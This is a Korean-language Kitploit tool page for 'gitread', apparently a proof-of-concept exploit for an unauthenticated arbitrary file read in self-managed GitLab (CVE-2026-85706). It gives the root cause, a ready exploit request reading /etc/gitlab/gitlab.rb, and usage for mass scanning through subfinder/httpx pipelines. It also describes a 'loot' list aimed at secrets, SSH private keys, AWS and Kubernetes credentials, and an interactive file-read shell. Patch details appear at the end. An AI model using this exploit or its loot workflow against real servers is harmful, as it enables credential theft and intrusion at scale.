Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/plur1bu5/gitread
ReconnaissanceVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRed Teaming
GitHub
12620일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
plur1bu5/gitread

gitread

CVE-2026-85706 · GitLab CE/EE 비인증 파일 읽기 · oracle 모드, fd 열거, 계층적 loot 타겟팅을 포함한 연구용 PoC

저장소 보기

gitread

자체 관리형 GitLab CE/EE에 영향을 주는 인증되지 않은 임의 파일 읽기 취약점인 CVE-2026-85706에 대한 PoC입니다.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
영향받는 버전18.7 ~ 19.1.7, 19.2.0 ~ 19.2.5, 19.3.0 ~ 19.3.1
수정된 버전19.1.8 / 19.2.6 / 19.3.2 (2026-09-10 릴리스)
구성 요소Repository Commits API / Files API (Workhorse body-upload)
제보자s3ntago via GitLab HackerOne

동작 방식

세 개의 repository API 엔드포인트가 Workhorse의 requestBodyUploader 뒤에 위치합니다:

POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Rails 핸들러는 authenticate! 이전에 File.open(params['file.path'])를 호출합니다. 네 가지 조건이 이 취약점을 악용 가능하게 만듭니다:

1. 인증이 파일 읽기 이후에 발생합니다. require_gitlab_workhorse!는 Gitlab-Workhorse-Api-Request JWT 헤더만 검사합니다. Workhorse는 프록시하는 모든 요청에 이 헤더를 찍어주며, 단순 패스스루도 포함됩니다. 실제 authenticate!는 authorize_push_to_branch! 내부에 있으며, 이는 file_params_from_body_upload가 이미 디스크에서 파일을 읽은 뒤에 실행됩니다.

2. file.path가 요청에서 그대로 옵니다. file_params_from_body_upload는 params['file.path']를 검증 없이 절대 경로로 읽습니다. 의도된 흐름에서는 Workhorse가 업로드를 임시 파일에 쓰고 해당 파라미터를 직접 주입합니다. 공격자는 파일시스템 어디든 가리키는 쿼리 문자열 파라미터로 이를 직접 전송하기만 하면 됩니다.

3. Workhorse 라우트 매칭은 퍼센트 인코딩을 절대 디코딩하지 않습니다. Workhorse는 수신된 원시 URL 바이트인 EscapedPath()에 대해 업로드 라우트를 매칭합니다. Puma는 Grape로 라우팅하기 전에 %XX 시퀀스를 디코딩합니다. 따라서 정적 세그먼트의 한 문자를 인코딩하면 Workhorse는 재작성 규칙을 건너뛰는 반면 Rails는 여전히 취약한 핸들러로 라우팅합니다:

POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack이 오류 응답에 파일 내용을 그대로 반사합니다. Content-Type: application/x-www-form-urlencoded인 경우, 파일 내용이 Rack::Utils.parse_nested_query로 전달됩니다. 두 개의 16진수가 뒤따르지 않는 홑 %는 InvalidParameterError: invalid %-encoding (<content>)를 발생시킵니다. 파일에서 첫 번째 &까지의 모든 내용이 400 응답 본문에 반사됩니다.

홑 %가 없는 파일도 여전히 인증 전에 읽힙니다. urlencoded 분기의 401 응답과 multipart 분기의 500 응답 모두 파일이 존재하고 git 사용자가 읽을 수 있음을 확인시켜 주므로, 존재 여부 오라클로 유용합니다.

익스플로잇 요청:

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

기능

  • --file은 임의의 단일 파일을 읽으며, 에코 트리거가 없으면 자동으로 오라클로 폴백합니다
  • --loot는 확인된 에코 트리거 확률 순으로 정렬된 7개 티어에 걸쳐 36개 대상을 실행합니다
  • --oracle은 에코가 없는 파일에 대해 이중 분기 프로브(urlencoded + multipart)를 실행하고 각 파일이 읽기 가능한지, 없는지, 읽을 수 없는지 알려줍니다
  • --proc은 /proc/self/fd/0-31을 열거하여 열린 파일 디스크립터를 찾은 다음, 표준 /proc 정찰 대상을 읽습니다
  • --shell은 cat, loot, oracle, project, curl 명령이 있는 대화형 파일 읽기 셸로 진입합니다
  • --pipe는 stdin에서 대상을 읽고 subfinder 출력, httpx 텍스트, httpx JSON, nuclei JSON, 원시 호스트 라인을 처리합니다
  • --list는 한 줄에 하나씩 대상이 담긴 파일을 받습니다
  • --threads는 동시 대량 스캔용입니다
  • --proxy는 모든 트래픽을 Burp 또는 mitmproxy를 통해 라우팅합니다
  • --raw는 장식 없이 원시 바이트를 stdout에 쓰며, 파일로 파이핑할 때 유용합니다
  • --full은 loot, oracle, proc을 한 번에 실행합니다
  • -o를 통한 JSON 및 JSONL 보고서 출력
  • 영향 범위 확인이 포함된 GitLab 버전 핑거프린팅
  • Windows 터미널 색상 지원

설치

pip install requests
python3 gitread.py -h

Python 3.10 이상이 필요합니다. 다른 의존성은 없습니다.

사용법

단일 대상

python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

파이프라인

subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin이 TTY가 아니면 자동으로 감지되므로 대부분의 경우 --pipe는 선택 사항입니다.

셸

gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

응답 판정

판정의미
leak파일 내용이 400 본문에 반사됨, 읽기 확인됨
leak-frag파라미터 타입 오류를 통한 부분 반사
read-noecho파일이 인증 전에 읽혔지만 홑 %가 없어 아무것도 반사되지 않음
READABLEmultipart 분기가 500을 반환, 파일이 존재하고 git 사용자가 읽을 수 있음
missing서버가 로컬 파일이 없다고 응답
rewriteWorkhorse가 본문을 재작성함, 이 우회 형식은 무효
norouteRails 404, 인스턴스가 패치되었거나 경로가 잘못됨
server-error500, 파일이 존재하지만 파싱 오류를 유발함

Loot 티어

티어파일에코
1gitlab.rb, gitlab.yml, redis.conf내용이 직접 유출됨
2gitlab-secrets.json, secrets.yml, database.yml오라클 전용, 순수 16진수
3.gitlab_workhorse_secret오라클 전용
4SSH 개인 키 및 authorized_keys오라클 전용
5gitlab-shell.yml, gitaly.toml, PostgreSQL 설정오라클 전용
6Kubernetes 서비스 계정 토큰, AWS 자격 증명오라클 전용
7Hostname, hosts, passwd, os-release, environ오라클 전용

플래그

플래그설명
-t, -u, --target단일 기본 URL
--pipestdin에서 대상 읽기
--list FILE대상이 담긴 파일
--file PATH읽을 단일 절대 경로
--loot전체 36개 대상 loot 실행
--oracle에코 없는 파일의 이중 분기 프로브
--proc/proc fd 열거 및 정찰
--shell스캔 후 대화형 셸
--fullloot + oracle + proc
--project-id ID자동 감지 대신 프로젝트 id 강제 지정
--force대상이 GitLab으로 핑거프린트되지 않아도 스캔
--raw장식 없이 원시 바이트를 stdout에 쓰기
--proxy URLHTTP/S 프록시
--threads N파이프라인 모드용 워커 스레드 (기본값 8)
--timeout N요청당 타임아웃(초) (기본값 15)
-o FILE보고서 저장 (.json은 예쁜 배열, 그 외는 JSONL)
-q, --quiet적중 항목만 출력
-v, --verbose모든 프로브 시도 표시
--no-banner배너 억제

종료 코드: 0 유출 확인됨, 1 오라클 전용 또는 파이프라인에서 유출 없음, 2 아무것도 발견되지 않음.

패치

master 커밋 0d9ce3e7에서 수정되었으며, 1fe30154 / b43c8b26 / 0ff7b6b2로 백포트되었습니다.

세 가지가 동시에 변경되었습니다:

  1. 세 엔드포인트 모두에서 authenticate!가 file_params_from_body_upload 앞으로 이동하여 인증되지 않은 요청에 대해서는 파일이 절대 읽히지 않도록 함
  2. file.path는 이제 원시 쿼리 문자열 파라미터가 아니라, 유효한 Workhorse 서명 JWT를 요구하는 multipart 미들웨어가 생성한 타입 지정 UploadedFile 객체에서만 허용됨
  3. InvalidParameterError가 더 이상 e.message를 응답 본문에 보간하지 않으므로, 누군가 처음 두 수정을 우회할 방법을 찾더라도 에코 채널이 닫힘

이 버그는 commits API의 body-upload 변형이 추가된 GitLab 18.7 (2025년 12월)에서 도입되었습니다.


made with love by @plur1bu5 -- 유용하게 쓰셨다면 스타를 눌러주시면 감사하겠습니다

도구 다운로드